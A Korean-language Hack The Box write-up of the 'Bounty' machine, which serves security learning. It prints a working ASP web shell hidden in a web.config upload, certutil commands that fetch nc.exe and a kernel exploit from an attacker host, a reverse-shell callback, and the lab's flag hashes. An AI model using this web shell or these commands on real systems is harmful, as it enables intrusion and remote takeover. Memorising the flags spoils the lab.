[HTB] Bounty Writeup
nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.151.89
80포트가 활성화 되어있어서 접근해보았다.
해당 이미지 외에 별도의 취약 포인트를 찾을 수 없는듯 하여 dirb와 gobuster를 통해 조사해보았다.
dirb http://10.129.151.223/ -X .php,.txt,.aspx,.conf -o dirbResult.txt
gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.151.223/ -x php,txt,conf,aspx -o bigList
transfer.aspx와 /uploadedfiles/가 존재함을 확인했다. transfer.aspx는 파일 업로드 기능인 듯 했고, /uploadedfiles/ 는 업로드된 파일이 위치하게 될 경로인 듯 했다.(디렉토리 직접 접근은 불가했다.)
txt, php, aspx 등의 파일을 업로드 해보았으나 되지 않았고, 이미지 파일은 업로드 가능했다. 또한 해당 디렉토리에 업로드 되는것이 맞음을 확인했다.
처음에는 aspx 웹쉘 파일을 업로드 하려고 하였다.
업로드 시 패킷을 인터셉트하여 webshell.aspx -> webshell.aspx%00.jpg 와 같이 업로드를 하면, 업로드 자체는 성공하지만 .aspx 파일을 서버에서 읽을 수가 없다.
그래서 iis file upload rce 와 같은 키워드로 구글링 결과 local web.config 파일을 업로드하는 방법이 있음을 확인 했고, 아래 레퍼런스를 활용하였다.
GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...
github.com
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
.config 파일 업로드 시 필터링 우회가 필요할줄알았는데, 바로 업로드 되었고, rce가 유효함을 확인 할 수 있었다.
그 후, nc.exe를 certuil을 활용하여 서버에 업로드 했고, 리버스쉘을 획득 할 수 있었다.
mkdir c:\temp
certutil -f -split -urlcache http://10.10.14.114:6338/nc.exe c:\temp\nc.exe
권한 상승을 위해 systeminfo 명령어를 통해 정보 수집을 하고, windows-exploit-suggester.py 를 통해 어떤 취약점을 활용할지 체크해보았다.
systeminfo
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2022-02-05-mssb.xls --systeminfo systeminfo.txt
그 중 아래 레퍼런스를 활용하여 MS10-059 취약점을 활용하기로 했고, 권한 상승에 성공했다.
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS10-059/MS10-059.exe
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.
github.com
certutil -f -split -urlcache http://10.10.14.114:6338/MS10-059.exe c:\temp\MS10-059.exe
MS10-059.exe 10.10.14.114 4321
FLAG =
[user] e29ad89891462e0b09741e3082f44a2f
[root] c837f7b699feef5475a0c079f9d4f5ea